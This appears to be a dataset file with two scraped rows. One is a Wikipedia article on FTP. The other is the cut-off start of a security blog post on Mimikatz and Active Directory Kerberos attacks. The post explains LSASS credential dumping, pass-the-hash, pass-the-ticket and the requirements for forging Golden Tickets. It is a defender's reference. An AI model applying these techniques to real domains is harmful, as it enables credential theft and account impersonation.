2.4 NAT and firewall traversal 2.5 Differences from HTTP 3 Web browser support 3.1 Syntax 4 Security 4.1 FTP over SSH 5 Derivatives 5.1 FTPS 5.2 SSH File Transfer Protocol 5.3 Trivial File Transfer Protocol 5.4 Simple File Transfer Protocol 6 FTP commands 7 FTP reply codes 8 See also 9 References 10 Further reading 11 External links History of FTP servers[edit] The original specification for the File Transfer Protocol was written by Abhay Bhushan and published as RFC\xc2 114 on 16 April 1971. Until 1980, FTP ran on NCP, the predecessor of TCP/IP.[2] The protocol was later replaced by a TCP/IP version, RFC\xc2 765 (June 1980) and RFC\xc2 959 (October 1985), the current specification. Several proposed standards amend RFC\xc2 959, for example RFC\xc2 1579 (February 1994) enables Firewall-Friendly FTP (passive mode), RFC\xc2 2228 (June 1997) proposes security extensions, RFC\xc2 2428 (September 1998) adds support for IPv6 and defines a new type of passive mode.[4] Protocol overview[edit] Communication and data transfer[edit] Illustration of starting a passive connection using port 21 FTP may run in active or passive mode, which determines how the data connection is established.[5] In both cases, the client creates a TCP control connection from a random, usually an unprivileged, port N to the FTP server command port 21. In active mode, the client starts listening for incoming data connections from the server on port M. It sends the FTP command PORT M to inform the server on which port it is listening. The server then initiates a data channel to the client from its port 20, the FTP server data port. In situations where the client is behind a firewall and unable to accept incoming TCP connections, passive mode may be used. In this mode, the client uses the control connection to send a PASV command to the server and then receives a server IP address and server port number from the server,[5] which the client then uses to open a data connection from an arbitrary client port to the server IP address and server port number received.[6] Both modes were updated in September 1998 to support IPv6. Further changes were introduced to the passive mode at that time, updating it to extended passive mode.[7] The server responds over the control connection with three-digit status codes in ASCII with an optional text message. For example, ""200"" (or ""200 OK"") means that the last command was successful. The numbers represent the code for the response and the optional text represents a human-readable explanation or request (e.g. ).[1] An ongoing transfer of file data over the data connection can be aborted using an interrupt message sent over the control connection. While transferring data over the network, four data representations can be used:[2][3][4] ASCII mode: Used for text. Data is converted, if needed, from the sending host's character representation to ""8-bit ASCII"" before transmission, and (again, if necessary) to the receiving host's character representation. As a consequence, this mode is inappropriate for files that contain data other than plain text. Image mode (commonly called Binary mode): The sending machine sends each file byte by byte, and the recipient stores the bytestream as it receives it. (Image mode support has been recommended for all implementations of FTP). EBCDIC mode: Used for plain text between hosts using the EBCDIC character set. Local mode: Allows two computers with identical setups to send data in a proprietary format without the need to convert it to ASCII. For text files, different format control and record structure options are provided. These features were designed to facilitate files containing Telnet or ASA. Data transfer can be done in any of three modes:[1][2] Stream mode: Data is sent as a continuous stream, relieving FTP from doing any processing. Rather, all processing is left up to TCP. No End-of-file indicator is needed, unless the data is divided into records. Block mode: FTP breaks the data into several blocks (block header, byte count, and data field) and then passes it on to TCP.[4] Compressed mode: Data is compressed using a simple algorithm (usually run-length encoding). Some FTP software also implements a DEFLATE-based compressed mode, sometimes called ""Mode Z"" after the command that enables it. This mode was described in an Internet Draft, but not standardized.[8] Login[edit] FTP login uses normal username and password scheme for granting access.[2] The username is sent to the server using the USER command, and the password is sent using the PASS command.[2] This sequence is unencrypted ""on the wire"", so may be vulnerable to a network sniffing attack.[9] If the information provided by the client is accepted by the server, the server will send a greeting to the client and the session will commence.[2] If the server supports it, users may log in without providing login credentials, but the same server may authorize only limited access for such sessions.[2] Anonymous FTP[edit] A host that provides an FTP service may provide anonymous FTP access.[2] Users typically log into the service with an 'anonymous' (lower-case and case-sensitive in some FTP servers) account when prompted for user name. Although users are commonly asked to send their email address instead of a password,[3] no verification is actually performed on the supplied data.[10] Many FTP hosts whose purpose is to provide software updates will allow anonymous logins.[3] NAT and firewall traversal[edit] FTP normally transfers data by having the server connect back to the client, after the PORT command is sent by the client. This is problematic for both NATs and firewalls, which do not allow connections from the Internet towards internal hosts.[11] For NATs, an additional complication is that the representation of the IP addresses and port number in the PORT command refer to the internal host's IP address and port, rather than the public IP address and port of the NAT. There are two approaches to solve this problem. One is that the FTP client and FTP server use the PASV command, which causes the data connection to be established from the FTP client to the server.[11] This is widely used by modern FTP clients. Another approach is for the NAT to alter the values of the PORT command, using an application-level gateway for this purpose.[11] Differences from HTTP[edit] HTTP essentially fixes the bugs in FTP that made it inconvenient to use for many small ephemeral transfers as are typical in web pages. FTP has a stateful control connection which maintains a current working directory and other flags, and each transfer requires a secondary connection through which the data are transferred. In ""passive"" mode this secondary connection is from client to server, whereas in the default ""active"" mode this connection is from server to client. This apparent role reversal when in active mode, and random port numbers for all transfers, is why firewalls and NAT gateways have such a hard time with FTP. HTTP is stateless and multiplexes control and data over a single connection from client to server on well-known port numbers, which trivially passes through NAT gateways and is simple for firewalls to manage. Setting up an FTP control connection is quite slow due to the round-trip delays of sending all of the required commands and awaiting responses, so it is customary to bring up a control connection and hold it open for multiple file transfers rather than drop and re-establish the session afresh each time. In contrast, HTTP originally dropped the connection after each transfer because doing so was so cheap. While HTTP has subsequently gained the ability to reuse the TCP connection for multiple transfers, the conceptual model is still of independent requests rather than a session. When FTP is transferring over the data connection, the control connection is idle. If the transfer takes too long, the firewall or NAT may decide that the control connection is dead and stop tracking it, effectively breaking the connection and confusing the download. The single HTTP connection is only idle between requests and it is normal and expected for such connections to be dropped after a time-out. Web browser support[edit] Most common web browsers can retrieve files hosted on FTP servers, although they may not support protocol extensions such as FTPS.[3][12] When an FTP\xe2\x80\x94rather than an HTTP\xe2\x80\x94URL is supplied, the accessible contents on the remote server are presented in a manner that is similar to that used for other web content. A full-featured FTP client can be run within Firefox in the form of an extension called FireFTP. Syntax[edit] FTP URL syntax is described in RFC\xc2 1738, taking the form: ftp://[user[:password]@]host[:port]/url-path (the bracketed parts are optional). For example, the URL ftp://public.ftp-servers.example.com/mydirectory/myfile.txt represents the file myfile.txt from the directory mydirectory on the server public.ftp-servers.example.com as an FTP resource. The URL ftp://user001:secretpassword@private.ftp-servers.example.com/mydirectory/myfile.txt adds a specification of the username and password that must be used to access this resource. More details on specifying a username and password may be found in the browsers' documentation (e.g., Firefox[13] and Internet Explorer[14]). By default, most web browsers use passive (PASV) mode, which more easily traverses end-user firewalls. Some variation has existed in how different browsers treat path resolution in cases where there is a non-root home directory for a user.[15] Security[edit] FTP was not designed to be a secure protocol, and has many security weaknesses.[16] In May 1999, the authors of RFC\xc2 2577 listed a vulnerability to the following problems: Brute force attack FTP bounce attack Packet capture Port stealing (guessing the next open port and usurping a legitimate connection) Spoofing attack Username enumeration DoS or DDoS FTP does not encrypt its traffic; all transmissions are in clear text, and usernames, passwords, commands and data can be read by anyone able to perform packet capture (sniffing) on the network.[2][16] This problem is common to many of the Internet Protocol specifications (such as SMTP, Telnet, POP and IMAP) that were designed prior to the creation of encryption mechanisms such as TLS or SSL.[4] Common solutions to this problem include: Using the secure versions of the insecure protocols, e.g., FTPS instead of FTP and TelnetS instead of Telnet. Using a different, more secure protocol that can handle the job, e.g. SSH File Transfer Protocol or Secure Copy Protocol. Using a secure tunnel such as Secure Shell (SSH) or virtual private network (VPN). FTP over SSH[edit] FTP over SSH is the practice of tunneling a normal FTP session over a Secure Shell connection.[16] Because FTP uses multiple TCP connections (unusual for a TCP/IP protocol that is still in use), it is particularly difficult to tunnel over SSH. With many SSH clients, attempting to set up a tunnel for the control channel (the initial client-to-server connection on port 21) will protect only that channel; when data is transferred, the FTP software at either end sets up new TCP connections (data channels) and thus have no confidentiality or integrity protection. Otherwise, it is necessary for the SSH client software to have specific knowledge of the FTP protocol, to monitor and rewrite FTP control channel messages and autonomously open new packet forwardings for FTP data channels. Software packages that support this mode include: Tectia ConnectSecure (Win/Linux/Unix)[17] of SSH Communications Security's software suite Derivatives[edit] FTPS[edit] Main article: FTPS Explicit FTPS is an extension to the FTP standard that allows clients to request FTP sessions to be encrypted. This is done by sending the ""AUTH TLS"" command. The server has the option of allowing or denying connections that do not request TLS. This protocol extension is defined in RFC\xc2 4217. Implicit FTPS is an outdated standard for FTP that required the use of a SSL or TLS connection. It was specified to use different ports than plain FTP. SSH File Transfer Protocol[edit] Main article: SSH File Transfer Protocol The SSH file transfer protocol (chronologically the second of the two protocols abbreviated SFTP) transfers files and has a similar command set for users, but uses the Secure Shell protocol (SSH) to transfer files. Unlike FTP, it encrypts both commands and data, preventing passwords and sensitive information from being transmitted openly over the network. It cannot interoperate with FTP software. Trivial File Transfer Protocol[edit] Main article: Trivial File Transfer Protocol Trivial File Transfer Protocol (TFTP) is a simple, lock-step FTP that allows a client to get a file from or put a file onto a remote host. One of its primary uses is in the early stages of booting from a local area network, because TFTP is very simple to implement. TFTP lacks security and most of the advanced features offered by more robust file transfer protocols such as File Transfer Protocol. TFTP was first standardized in 1981 and the current specification for the protocol can be found in RFC\xc2 1350. Simple File Transfer Protocol[edit] Simple File Transfer Protocol (the first protocol abbreviated SFTP), as defined by RFC\xc2 913, was proposed as an (unsecured) file transfer protocol with a level of complexity intermediate between TFTP and FTP. It was never widely accepted on the Internet, and is now assigned Historic status by the IETF. It runs through port 115, and often receives the initialism of SFTP. It has a command set of 11 commands and support three types of data transmission: ASCII, binary and continuous. For systems with a word size that is a multiple of 8 bits, the implementation of binary and continuous is the same. The protocol also supports login with user ID and password, hierarchical folders and file management (including rename, delete, upload, download, download with overwrite, and download with append). FTP commands[edit] Main article: List of FTP commands FTP reply codes[edit] Main article: List of FTP server return codes Below is a summary of FTP reply codes that may be returned by an FTP server. These codes have been standardized in RFC\xc2 959 by the IETF. The reply code is a three-digit value. The first digit is used to indicate one of three possible outcomes\xc2 \xe2\x80\x94 success, failure, or to indicate an error or incomplete reply: 2yz\xc2 \xe2\x80\x93 Success reply 4yz or 5yz \xe2\x80\x93 Failure reply 1yz or 3yz \xe2\x80\x93 Error or Incomplete reply The second digit defines the kind of error: x0z \xe2\x80\x93 Syntax. These replies refer to syntax errors. x1z \xe2\x80\x93 Information. Replies to requests for information. x2z \xe2\x80\x93 Connections. Replies referring to the control and data connections. x3z \xe2\x80\x93 Authentication and accounting. Replies for the login process and accounting procedures. x4z \xe2\x80\x93 Not defined. x5z \xe2\x80\x93 File system. These replies relay status codes from the server file system. The third digit of the reply code is used to provide additional detail for each of the categories defined by the second digit. See also[edit] Comparison of FTP client software Comparison of FTP server software Comparison of file transfer protocols Curl-loader \xe2\x80\x93 FTP/S loading/testing open-source software File eXchange Protocol (FXP) File Service Protocol (FSP) FTAM FTPFS List of FTP commands List of FTP server return codes List of FTP server software Managed File Transfer OBEX Shared file access TCP Wrapper References[edit] ^ a b c Forouzan, B.A. (2000). TCP/IP: Protocol Suite (1st ed.). New Delhi, India: Tata McGraw-Hill Publishing Company Limited. ^ a b c d e f g h i j Kozierok, Charles M. (2005). ""The TCP/IP Guide v3.0"". Tcpipguide.com. ^ a b c d e Dean, Tamara (2010). Network+ Guide to Networks. Delmar. pp.\xc2 168\xe2\x80\x93171. ^ a b c d Clark, M.P. (2003). Data Networks IP and the Internet (1st ed.). West Sussex, England: John Wiley & Sons Ltd. ^ a b ""Active FTP vs. Passive FTP, a Definitive Explanation"". Slacksite.com. ^ RFC\xc2 959 (Standard) File Transfer Protocol (FTP). Postel, J. & Reynolds, J. (October 1985). ^ RFC\xc2 2428 (Proposed Standard) Extensions for IPv6, NAT, and Extended Passive Mode. Allman, M. & Metz, C. & Ostermann, S. (September 1998). ^ Preston, J. (January 2005). Deflate transmission mode for FTP. IETF. I-D draft-preston-ftpext-deflate-03.txt. Retrieved 27 January 2016. ^ Prince, Brian. ""Should Organizations Retire FTP for Security?"". Security Week. Security Week. Retrieved 14 September 2017. ^ RFC\xc2 1635 (Informational) How to Use Anonymous FTP. P. & Emtage, A. & Marine, A. (May 1994). ^ a b c Gleason, Mike (2005). ""The File Transfer Protocol and Your Firewall/NAT"". Ncftp.com. ^ Matthews, J. (2005). Computer Networking: Internet Protocols in Action (1st ed.). Danvers, MA: John Wiley & Sons Inc. ^ ""Accessing FTP servers | How to | Firefox Help"". Support.mozilla.com. 5 September 2012. Retrieved 16 January 2013. ^ ""How to Enter FTP Site Password in Internet Explorer"". Support.microsoft.com. 23 September 2011. Retrieved 28 March 2015. Written for IE versions 6 and earlier. Might work with newer versions. ^ Jukka \xe2\x80\x9cYucca\xe2\x80\x9d Korpela (18 September 1997). ""FTP URLs"". ""IT and communication"" (www.cs.tut.fi/~jkorpela/). Retrieved 6 January 2016. ^ a b c ""Securing FTP using SSH"". Nurdletech.com. ^ ""Access using SSH keys & PCI DSS compliance"". ssh.com. Further reading[edit] RFC\xc2 697 \xe2\x80\x93 CWD Command of FTP. July 1975. RFC\xc2 959 \xe2\x80\x93 (Standard) File Transfer Protocol (FTP). J. Postel, J. Reynolds. October 1985. RFC\xc2 1579 \xe2\x80\x93 (Informational) Firewall-Friendly FTP. February 1994. RFC\xc2 1635 \xe2\x80\x93 (Informational) How to Use Anonymous FTP. May 1994. RFC\xc2 1639 \xe2\x80\x93 FTP Operation Over Big Address Records (FOOBAR). June 1994. RFC\xc2 1738 \xe2\x80\x93 Uniform Resource Locators (URL). December 1994. RFC\xc2 2228 \xe2\x80\x93 (Proposed Standard) FTP Security Extensions. October 1997. RFC\xc2 2389 \xe2\x80\x93 (Proposed Standard) Feature negotiation mechanism for the File Transfer Protocol. August 1998. RFC\xc2 2428 \xe2\x80\x93 (Proposed Standard) Extensions for IPv6, NAT, and Extended passive mode. September 1998. RFC\xc2 2577 \xe2\x80\x93 (Informational) FTP Security Considerations. May 1999. RFC\xc2 2640 \xe2\x80\x93 (Proposed Standard) Internationalization of the File Transfer Protocol. July 1999. RFC\xc2 3659 \xe2\x80\x93 (Proposed Standard) Extensions to FTP. P. Hethmon. March 2007. RFC\xc2 5797 \xe2\x80\x93 (Proposed Standard) FTP Command and Extension Registry. March 2010. RFC\xc2 7151 \xe2\x80\x93 (Proposed Standard) File Transfer Protocol HOST Command for Virtual Hosts. March 2014. IANA FTP Commands and Extensions registry \xe2\x80\x93 The official registry of FTP Commands and Extensions External links[edit] Communication Networks/File Transfer Protocol at Wikibooks FTP Server Online Tester Authentication, encryption, mode and connectivity. v t e Uniform Resource Identifier (URI) schemes Official about acct crid data file ftp geo gopher http https info ldap mailto nfs nntp sip / sips tag tel telnet urn view-source ws / wss xmpp Unofficial coffee ed2k feed finger irc / irc6 / ircs ldaps magnet rsync ymsgr Protocol list Retrieved from ""https://en.wikipedia.org/w/index.php?title=File_Transfer_Protocol&oldid=915408697"" Categories: File Transfer Protocol Application layer protocols Clear text protocols Computer-related introductions in 1971 History of the Internet Internet Standards Network file transfer protocols OS/2 commands Unix network-related software Hidden categories: Articles with short description Use dmy dates from August 2016 Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page In other projects Wikimedia Commons Print/export Create a book Download as PDF Printable version Languages Afrikaans Alemannisch \xd8\xa7\xd9\x84\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a\xd8\xa9 Asturianu Az\xc9\x99rbaycanca \xd8\xaa\xdb\x86\xd8\xb1\xda\xa9\xd8\xac\xd9\x87 \xe0\xa6\xac\xe0\xa6\xbe\xe0\xa6\x82\xe0\xa6\xb2\xe0\xa6\xbe \xd0\x91\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x80\xd1\x83\xd1\x81\xd0\xba\xd0\xb0\xd1\x8f \xd0\x91\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x80\xd1\x83\xd1\x81\xd0\xba\xd0\xb0\xd1\x8f (\xd1\x82\xd0\xb0\xd1\x80\xd0\xb0\xd1\x88\xd0\xba\xd0\xb5\xd0\xb2\xd1\x96\xd1\x86\xd0\xb0)\xe2\x80\x8e \xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 Boarisch Bosanski Catal\xc3 \xc4\x8ce\xc5\xa1tina Dansk Deutsch Eesti \xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba\xce\xac Espa\xc3\xb1ol Esperanto Euskara \xd9\x81\xd8\xa7\xd8\xb1\xd8\xb3\xdb\x8c Fran\xc3\xa7ais Gaeilge Galego \xe0\xaa\x97\xe0\xab\x81\xe0\xaa\x9c\xe0\xaa\xb0\xe0\xaa\xbe\xe0\xaa\xa4\xe0\xab\x80 \xed\x95\x9c\xea\xb5\xad\xec\x96\xb4 \xd5\x80\xd5\xa1\xd5\xb5\xd5\xa5\xd6\x80\xd5\xa5\xd5\xb6 \xe0\xa4\xb9\xe0\xa4\xbf\xe0\xa4\xa8\xe0\xa5\x8d\xe0\xa4\xa6\xe0\xa5\x80 Hrvatski Bahasa Indonesia Interlingua \xc3\x8dslenska Italiano \xd7\xa2\xd7\x91\xd7\xa8\xd7\x99\xd7\xaa \xe1\x83\xa5\xe1\x83\x90\xe1\x83 \xe1\x83\x97\xe1\x83\xa3\xe1\x83\x9a\xe1\x83\x98 \xd2\x9a\xd0\xb0\xd0\xb7\xd0\xb0\xd2\x9b\xd1\x88\xd0\xb0 Kurd\xc3\xae \xd0\x9a\xd1\x8b\xd1\x80\xd0\xb3\xd1\x8b\xd0\xb7\xd1\x87\xd0\xb0 Latvie\xc5\xa1u Lietuvi\xc5\xb3 Lumbaart Magyar \xd0\x9c\xd0\xb0\xd0\xba\xd0\xb5\xd0\xb4\xd0\xbe\xd0\xbd\xd1\x81\xd0\xba\xd0\xb8 \xe0\xb4\xae\xe0\xb4\xb2\xe0\xb4\xaf\xe0\xb4\xbe\xe0\xb4\xb3\xe0\xb4\x82 Bahasa Melayu \xd0\x9c\xd0\xbe\xd0\xbd\xd0\xb3\xd0\xbe\xd0\xbb Nederlands \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Norsk Norsk nynorsk \xd0\x9e\xd0\xbb\xd1\x8b\xd0\xba \xd0\xbc\xd0\xb0\xd1\x80\xd0\xb8\xd0\xb9 Polski Portugu\xc3\xaas Rom\xc3\xa2n\xc4\x83 \xd0 \xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Scots Shqip Simple English Sloven\xc4\x8dina Sloven\xc5\xa1\xc4\x8dina \xd0\xa1\xd1\x80\xd0\xbf\xd1\x81\xd0\xba\xd0\xb8 / srpski Srpskohrvatski / \xd1\x81\xd1\x80\xd0\xbf\xd1\x81\xd0\xba\xd0\xbe\xd1 \xd1\x80\xd0\xb2\xd0\xb0\xd1\x82\xd1\x81\xd0\xba\xd0\xb8 Suomi Svenska Tagalog \xe0\xae\xa4\xe0\xae\xae\xe0\xae\xbf\xe0\xae\xb4\xe0\xaf\x8d \xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2 \xd0\xa2\xd0\xbe\xd2\xb7\xd0\xb8\xd0\xba\xd3\xa3 T\xc3\xbcrk\xc3\xa7e \xd0\xa3\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 \xd8\xa7\xd8\xb1\xd8\xaf\xd9\x88 Ti\xe1\xba\xbfng Vi\xe1\xbb\x87t V\xc3\xb5ro \xe5\x90\xb4\xe8\xaf\xad Yor\xc3\xb9b\xc3\xa1 \xe7\xb2\xb5\xe8\xaa\x9e \xe4\xb8\xad\xe6\x96\x87 Edit links This page was last edited on 13 September 2019, at 02:47\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0" -"Mimikatz and Active Directory Kerberos Attacks \xe2\x80\x93 Active Directory Security Toggle search form Toggle navigation Active Directory Security Active Directory & Enterprise Security, Methods to Secure Active Directory, Attack Methods & Effective Defenses, PowerShell, Tech Notes, & Geek Trivia\xe2\x80\xa6 Home About AD Resources Attack Defense & Detection Contact Mimikatz Presentations Schema Versions Security Resources SPNs Top Posts MS14-068: Active Directory Kerberos Vulnerability Patch for Invalid Checksum Microsoft Consolidated Technology Conference: Microsoft Ignite Nov 22 2014 Mimikatz and Active Directory Kerberos Attacks By Sean Metcalf in Microsoft Security, Technical Reference NOTE: While this page will remain, the majority of the Mimikatz information in this page is now in the \xe2\x80\x9cUnofficial Mimikatz Guide & Command Reference\xe2\x80\x9d which will be updated on a regular basis. Mimikatz is the latest, and one of the best, tool to gather credential data from Windows systems. In fact I consider Mimikatz to be the \xe2\x80\x9cswiss army knife\xe2\x80\x9d of Windows credentials \xe2\x80\x93 that one tool that can do everything. Since the author of Mimikatz, Benjamin Delpy, is French most of the resources describing Mimikatz usage is in French, at least on his blog. The Mimikatz GitHub repository is in English and includes useful information on command usage. Mimikatz is a Windows x32/x64 program coded in C by Benjamin Delpy (@gentilkiwi) in 2007 to learn more about Windows credentials (and as a Proof of Concept). There are two optional components that provide additional features, mimidrv (driver to interact with the Windows kernal) and mimilib (AppLocker bypass, Auth package/SSP, password filter, and sekurlsa for WinDBG). Mimikatz requires administrator or SYSTEM and often debug rights in order to perform certain actions and interact with the LSASS process (depending on the action requested). After a user logs on, a variety of credentials are generated and stored in the\xc2 Local Security Authority Subsystem Service, LSASS, process in memory. This is meant to facilitate single sign-on (SSO) ensuring a user isn\xe2\x80\x99t prompted each time resource access is requested. The credential data may include NTLM password hashes, LM password hashes (if the password is <15 characters), and even clear-text passwords (to support WDigest and SSP authentication among others. While you can prevent a Windows computer from creating the LM hash in the local computer SAM database (and the AD database), though this doesn\xe2\x80\x99t prevent the system from generating the LM hash in memory. The majority of Mimikatz functionality is available in PowerSploit (PowerShell Post-Exploitation Framework) through the \xe2\x80\x9cInvoke-Mimikatz\xe2\x80\x9d PowerShell script which \xe2\x80\x9cleverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing the mimikatz binary to disk.\xe2\x80\x9d\xc2 Mimikatz functionality supported by Invoke-Mimikatz is noted below. Benjamin Delpy posted an Excel chart on OneDrive (shown below) that shows what type of credential data is available in memory (LSASS), including on Windows 8.1 and Windows 2012 R2 which have enhanced protection mechanisms reducing the amount and type of credentials kept in memory. (Click image to embiggen) One of the biggest security concerns with Windows today is \xe2\x80\x9cPass the Hash.\xe2\x80\x9d Simply stated, Windows performs a one-way hash function on the user\xe2\x80\x99s password and the result is referred to as a \xe2\x80\x9chash.\xe2\x80\x9d The one-way hash algorithm changes the password in expected ways given the input data (the password) with the result being scrambled data that can\xe2\x80\x99t be reverted back to the original input data, the password. Hashing a password into a hash is like putting a steak through a meat grinder to make ground beef \xe2\x80\x93 the ground beef can never be put together to be the same steak again. Pass the Hash has many variants, from Pass the Ticket to OverPass the Hash (aka pass the key). The following quote is a Google Translate English translated version of the Mimikatz website (which is in French). Contrary to what could easily be imagined, Windows does not use the password of the user as a shared secret, but non-reversible derivatives: LM hash, NTLM, DES keys, AES \xe2\x80\xa6 According to the protocol, the secret and the algorithms used are different: \xc2 Protocol Algorithm Secret used LM DES-ECB LM Hash NTLMv1 DES-ECB NT Hash NTLMv2 HMAC-MD5 NT Hash \xc2 Mimikatz OS support: Windows XP Windows Vista Windows 7 Windows 8 Windows Server 2003 Windows Server 2008 / 2008 R2 Windows Server 2012 / 2012 R2 Windows 10 \xc2 Since Windows encrypts most credentials in memory (LSASS), they should be protected, but it is a type of reversible encryption (though creds are in clear-text). Encrypt works with LsaProtectMemory and decrypt with LsaUnprotectMemory. NT5 encryption types: RC4 & DESx NT6 encryption types: 3DES & AES \xc2 Mimikatz capabilities: Dump credentials from LSASS (Windows Local Security Account database) [sekurlsa module] MSV1.0: hashes & keys (dpapi) Kerberos password, ekeys, tickets, & PIN TsPkg (password) WDigest (clear-text password) LiveSSP (clear-text password) SSP (clear-text password) Generate Kerberos Golden Tickets (Kerberos TGT logon token ticket attack) Generate Kerberos Silver Tickets (Kerberos TGS service ticket attack) Export certificates and keys (even those not normally exportable). Dump cached credentials Stop event monitoring. Bypass Microsoft AppLocker / Software Restriction Polcies Patch Terminal Server Basic GPO bypass Items in bold denotes functionality provided by the PowerSploit Invoke-Mimikatz module with built-in parameters. Other mimikatz commands may work using the command parameter. Mimikatz Command Overview: The primary command components are sekurlsa, kerberos, crypto, vault, and lsadump. Sekurlsa interacts with the LSASS process in memory to gather credential data and provides enhanced capability over kerberos. The Mimikatz kerberos command set enables modification of Kerberos tickets and interacts with the official Microsoft Kerberos API. This is the command that creates Golden Tickets. Pass the ticket is also possible with this command since it can inject Kerberos ticket(s) (TGT or TGS)\xc2 into the current session. External Kerberos tools may be used for session injection, but they must follow the Kerberos credential format (KRB_CRED). Mimikatz kerberos also enables the creation of Silver Tickets which are Kerberos tickets (TGT or TGS) with arbitrary data enabling AD user/ group impersonation. The key required for ticket creation depends on the type of ticket being generated: Golden tickets require the KRBTGT account NTLM password hash. Silver tickets require the computer or service account\xe2\x80\x99s NTLM password hash. Crypto enables export of certificates on the system that are not marked exportable since it bypasses the standard export process. Vault enables dumping data from the Windows vault. Lsadump enables dumping credential data from the Security Account Manager (SAM) database which contains the NTLM (sometimes LM hash) and supports online and offline mode as well as dumping credential data from the LSASS process in memory. Lsadump can also be used to dump cached credentials. In a Windows domain, credentials are cached (up to 10) in case a Domain Controller is unavailable for authentication. However, these credentials are stored on the computer. These caches are located in the registry at the location HKEY_LOCAL_MACHINE\\SECURITY\\Cache (accessible SYSTEM). These entries are encrypted symmetrically, but we find some information about the user, as well as sufficient to verify the hash authentication. Further down is a more detailed list of mimikatz command functionality. \xc2 Common Kerberos Attacks: Pass The Hash On Windows, a user provides the userid and password and the password is hashed, creating the password hash. When the user on one Windows system wants to access another, the user\xe2\x80\x99s password hash is sent (passed) to the destination\xe2\x80\x99s resource to authenticate. This means there is no need to crack the user\xe2\x80\x99s password since the user\xe2\x80\x99s password hash is all that\xe2\x80\x99s needed to gain access. Contrary to what could easily be imagined, Windows does not use the password of the user as a shared secret, but non-reversible derivatives: LM hash, NTLM, DES keys, AES \xe2\x80\xa6 \xc2 Pass the Ticket\xc2 (Google Translation) Extract an existing, valid Kerberos ticket from one machine and pass it to another one to gain access to resoiurces as that user. \xc2 Over-Pass The Hash (aka Pass the Key)\xc2 (Google Translation) Use the NTLM hash to obtain a valid user Kerberos ticket request. The user key (NTLM hash when using RC4) is used to encrypt the Pre-Authentication & first data requests. The following\xc2 quote is a Google Translate English translated version of the Mimikatz website (which is in French): Authentication via Kerberos is a tad different. The client encrypts a timestamp from its user secret, possibly with parameters realm and iteration number sent from the server. If the secret is correct, the server can decrypt the timestamp (and the passage verify that the clocks are not too time-shifted). Protocol Secret (key) used Kerberos OF RC4 = NT Hash! AES128 AES256 Yes, the RC4 key type available and enabled by default in XP 8.1 is our NT hash! \xc2 Kerberos Golden Ticket\xc2 (Google Translation) The Kerberos Golden Ticket is a valid TGT Kerberos ticket since it is encrypted/signed by the domain Kerberos account (KRBTGT). The TGT is only used to prove to the KDC service on the Domain Controller that the user was authenticated by another Domain Controller. The fact that the TGT is encrypted by the KRBTGT password hash and can be decrypted by any KDC service in the domain proves it is valid. Golden Ticket Requirements: * Domain Name [AD PowerShell module: (Get-ADDomain).DNSRoot] * Domain SID\xc2 [AD PowerShell module: (Get-ADDomain).DomainSID.Value] * Domain KRBTGT Account NTLM password hash * UserID for impersonation. The Domain Controller KDC service doesn\xe2\x80\x99t perform validate the user account until the TGT is older than 20 minutes old, which means the attacker can use a disabled/deleted user account or even a fictional user that doesn\xe2\x80\x99t exist in AD! Microsoft\xe2\x80\x99s MS-KILE specification (section 5.1.3 ): \xe2\x80\x9cKerberos V5 does not provide account revocation checking for TGS requests, which allows TGT renewals and service tickets to be issued as long as the TGT is valid even if the account has been revoked. KILE provides a check account policy (section 3.3.5.7.1) that limits the exposure to a shorter time. KILE KDCs in the account domain are required to check accounts when the TGT is older than 20 minutes. This limits the period that a client can get a ticket with a revoked account while limiting the performance cost for AD queries.\xe2\x80\x9d Since the domain Kerberos policy is set on the ticket when generated by the KDC service on the Domain Controller, when the ticket is provided, systems trust the ticket validity. This means that even if the domain policy states a Kerberos logon ticket (TGT) is only valid for 10 hours, if the ticket states it is valid for 10 years, it is accepted as such. The KRBTGT account password is never changed* and the attacker can create Golden Tickets until the KRBTGT password is changed (twice). Note that a Golden Ticket created to impersonate a user persists even if the impersonated user changes their password. This crafted TGT requires an attacker to have the Active Directory domain\xe2\x80\x99s KRBTGT password hash (typically dumped from a Domain Controller). The KRBTGT NTLM hash can be used to generate a valid TGT (using RC4) to impersonate any user with access to any resource in Active Directory. The Golden Ticket (TGT) be generated and used on any machine, even one not domain-joined. The created TGT can be used without requiring Debug rights. Mitigation: Limit Domain Admins from logging on to any other computers other than 